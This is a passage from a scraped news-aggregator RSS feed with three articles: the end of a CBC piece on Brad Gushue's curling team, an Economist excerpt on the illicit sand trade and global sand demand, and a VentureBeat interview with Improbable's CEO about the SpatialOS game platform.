“I think we all bring different qualities. Geoff is quiet and level-headed. Sometimes you have to check if he has a heartbeat in the big moments which is good,” Gushue said.

“Brett has that young excitement, enthusiasm and energy which is great.”

He then talked about his relationship with longtime teammate Nichols.

“Mark and I bring the experience. Mark works so well with the guys on the front-end. He’s a great conduit between those guys and myself.”

Finally, Gushue is showing a lot of introspection at this year’s world championship.

“I’ve matured over the last numbers of years into a leader. I think it all gels into a pretty good team.”

A pretty good team that can become the first-ever to go undefeated to win a men’s world curling title since it became a 12-team format in 2005.

Let’s block ads! (Why?)

CBC | Sports News

]]>
https://briefnews.eu/team-gushues-improbable-run-can-end-in-historic-fashion-at-curling-worlds/feed/ 0
An improbable global shortage: sand https://briefnews.eu/an-improbable-global-shortage-sand/ https://briefnews.eu/an-improbable-global-shortage-sand/#respond Thu, 30 Mar 2017 22:26:33 +0000 http://briefnews.eu/an-improbable-global-shortage-sand/

INDIA’S “sand mafia” is doing a roaring trade. The Times of India estimates that the illicit market for sand is worth around 150bn rupees ($ 2.3bn) a year; at one site in Tamil Nadu alone, 50,000 lorryloads are mined every day and smuggled to nearby states. Gangs around the country frequently turn to violence as they vie to continue cashing in on a building boom.

Much of the modern global economy depends on sand. Most of it pours into the construction industry, where it is used to make concrete and asphalt. A smaller quantity of fine-grade sand is used to produce glass and electronics, and, particularly in America, to extract oil from shale in the fracking industry. No wonder, then, that sand and gravel are the most extracted materials in the world. A 2014 report by the United Nations Environment Programme (UNEP) estimates they account for up to 85% by weight of everything mined globally each year.

With house-building in the West yet to recover fully from the 2007-08 crisis, Asia has been, by far, the main source of demand. Figures from the Freedonia Group, a market-research firm, suggest that, of the 13.7bn tonnes of sand mined…

The Economist: Finance and economics

]]>
https://briefnews.eu/an-improbable-global-shortage-sand/feed/ 0
Improbable enables small developers to create giant online worlds https://briefnews.eu/improbable-enables-small-developers-to-create-giant-online-worlds/ https://briefnews.eu/improbable-enables-small-developers-to-create-giant-online-worlds/#respond Sun, 05 Mar 2017 21:37:34 +0000 http://briefnews.eu/improbable-enables-small-developers-to-create-giant-online-worlds/ Worlds Adrift.


Small developers really can create giant games. There was proof of that at the Game Developers Conference at the booth of Improbable, a United Kingdom startup that enables small companies to create huge simulations.

Herman Narula, CEO of Improbable, told me in an interview that the company has launched its open beta for SpatialOS, an operating system and computation platform that allows developers of all sizes to create games that can tap the power of the cloud — or Internet-connected data centers.

The SpatialOS open beta kicked off on March 2, and it coincided with the integration of the Unreal Engine into the platform, allowing Unreal developers to join Unity creators to take full advantage of SpatialOS’s development tools. Improbable has also partnered with Google Cloud, which allows developers access to SpatialOS and the Google Cloud servers at significantly reduced (or in some cases free) costs.

So far, developers working on SpatialOS-based games include Worlds Adrift, the upcoming game from Bossa Studios; Chronicles of Elyria by Soulbound Studios, a massively multiplayer online role-playing game built with the Unreal engine; Seed by Klang, a game of planetary settlement set in a shared, persistent world, created by a team including former senior CCP (Eve Online) employees; Lazarus by Spilt Milk Studios, a multiplayer top-down 2D shooter set in a huge galaxy populated by artificially intelligent alien factions locked in a war for territory; and Vanishing Stars: Colony Wars by Ninpo Game Studio, a new type of massively multiplayer real-time strategy game, played across thousands of star systems, each with their own planets to battle on.

Here’s an edited transcript of my conversation with Narula.

Herman Narula, CEO of Improbable at the company's booth at GDC 2017.

Above: Herman Narula, CEO of Improbable at the company’s booth at GDC 2017.

Image Credit: Dean Takahashi

GamesBeat: You have a booth this year.

Herman Narula: Yeah! It’s gotten bigger. It’s growing.

GamesBeat: Are you an extension of Google?

Narula: No, no. But we’re side by side, which is good. The partnership’s been great. I don’t know if you’ve seen the games that have been announced in the last couple of days, all on the partnership, but these five developers all have working prototypes. Some of them have launched on Spatial. We’re excited by how fast things are moving. It’s validated our thesis that if we can get the stack out there as a platform, developers will be able to build bigger games quicker.

GamesBeat: So, everyone’s taking advantage of the Google Cloud offer?

Narula: Oh, yes. They just use SpatialOS, but we can run on different devices.

GamesBeat: What have you announced here?

Narula: Games like Seed, by Klang, which is a massive MMO ringworld around an entire planet. The players stay there when you log off, and they have NPC behavior that’s really cool. They showed a cool playable of that. There’s Ninpo producing an RTS game about planetary colonization. There’s Lazarus talking about their newest build, which has 3,000 concurrents or something like that that they can support at once. There’s also Jeromy Walsh talking about Chronicles of Elyria, which is a more traditional fantasy of MMO, but done at scale and done beautifully well. I think they have 150,000 people already in their forums, waiting for the game to launch.

We’ve had several thousand developers sign up since we went live a few weeks ago. They’re all playing with the deck right now. There are probably more games we haven’t even figured out are on the platform yet. We keep getting people walking up to us saying, “We’re making a game on Spatial! Why don’t we know about you?”

We launched Unreal integration two hours ago, so now, SpatialOS works with the Unreal engine. It makes us work with almost everyone now. We’ve also gone into beta, so now the deck is stable enough to start launching games. Worlds Adrift is of course live right now with thousands of players.

Vanishing Stars: Colony Wars.

Above: Vanishing Stars: Colony Wars.

Image Credit: Ninpo Game Studio

GamesBeat: Anything you’ve learned in particular from these launches?

Narula: Games are hard. [Laughs] Developers are very demanding. Being a good partner for them is all about listening, all about being able to adapt our infrastructure to what they need. A lot of the new things that we’re doing with Unreal integration and additional features have come from developer feedback. We’re learning that if we’re good with our community, our community will invest in the deck, and that can help us build a better deck for them.

People like Klang, the company making Seed, have a lot of people who’ve worked on really big MMOs. Their technical feedback to us has been fantastic. We’ve made a lot of improvements as a result. We’ve also grown as a company. We now have a San Francisco office. There’s 150-some of us now. We’re in a pretty amazing place.

GamesBeat: I see people taking cloud technology and going in very different directions with it. One company called 1App.com was taking mobile games and virtualizing them, getting them on any device and making it easier to discover them.

Narula: We’re finding that we can interoperate with a lot of services like this. At its heart, SpatialOS is a platform for building more complex systems, whatever they may be. We’re seeing a huge uptake in VR, for example, because we’re a great way to build high-fidelity VR multiplayer games. If you’ve checked out HelloVR, it’s just a couple of people, and they made something really awesome in SpatialOS.

Lazarus

Above: Lazarus.

GamesBeat: It sounds like user-generated content will be ideal for Improbable’s technology.

Narula: Absolutely. Worlds Adrift has 3,000 player-generated islands. They actually have more people downloading the created items than even knew about the game. Back in the early days they started pushing islands into the world. They managed to carve out really good user-generated content. Part of what SpatialOS allows you to do is update the game once it’s live. It’s a great way for developers to make more changes, add more tools, create new stuff. It grows with the community.

The future of really compelling online games — we’ve been through a bit of a winter. There was the MMO craze of the first half of the 2000s, and then people realized that it’s technically hard and it’s difficult to make really compelling gameplay. Then the indie boom happened, but they can’t really build massively multiplayer games. Now we’re going to see a resurgence of online experiences, connected experiences. We’ll see people realize that it’s not about building a game for 10 years and then launching it. It’s about growing it with the community and iterating on the gameplay. We’ve taken a huge bet on that kind of game. We’re making that a big part of our strategy.

GamesBeat: We’re seeing so many advances at the same time in things like AI. Somebody was saying that really good AI may signal the death of multiplayer. It might create distrust among players about whether they’re competing with a real person.

Narula: If the AI passes a Turing test, so that a person really can’t figure out whether it’s a human or not, does it matter? It’s another life form at that point. Maybe that’s what we’ll see. Sophisticated virtual worlds and simulations could be the birthplace of AI. That would be pretty cool.

GamesBeat: The example somebody brought up was Ashley Madison.

Narula: [Laughs] If a robot actually shows up for a date with you — who knows? You could have a wonderful relationship with a beautiful robot person. Quote me on that. We’re going to see developers do more and more things that surprise us. We’ll have a significant partnership announcement in a couple of weeks. We almost had it for GDC, but not quite. We’ve been empowering all these indie guys to make big games with a little team. What could a big team do with the deck?

Worlds Adrift is using Improbable technology for a new MMO.

Above: Worlds Adrift is using Improbable technology for a new MMO.

Image Credit: Improbable

GamesBeat: Why do you call it a “deck”?

Narula: It’s a distributed operating system. Here’s your cloud provider. We live on top of that. We manage the computation of the world. Easy to build, easy to run and do a lot of sophisticated stuff that lets us hit very big scales and cope with a lot more computation on a per-entity basis.

GamesBeat: What else, besides this feature of vastness, can you enable?

Narula: More players connecting more easily. Really fast development. Typically anything with synchronous multiplayer has been really hard to develop on many platforms. We’ve made it very easy to do synchronous multiplayer with a high rate of updates. With VR or first-person we can make that very easy. The ability to have clients of different types all connected to the same world. VR or PC or mobile all in one world, having different experiences synchronously with each other. Being able to monitor and run a complex world easily. Being able to add more complex and valid NPCs and AI that bring the world to life. More intelligence and more depth, because you don’t have to be constrained by what you can do with a single engine.

We’re being used for things like massive-scale simulation of cities. There’s a group that’s modeling telco networks. There are so many different applications that are all about creating and simulating large, complex worlds.

GamesBeat: Is that turning into real business outside of games?

Narula: Absolutely. We’re a platform, an operating system. Other verticals really just slot on top of that. We’re pretty agnostic. But games are our focus as a business. That’s the thing we’re passionate about, the thing that’s most disruptive right now. The other stuff is cool, but it’s coming later.

VentureBeat

]]>
https://briefnews.eu/improbable-enables-small-developers-to-create-giant-online-worlds/feed/ 0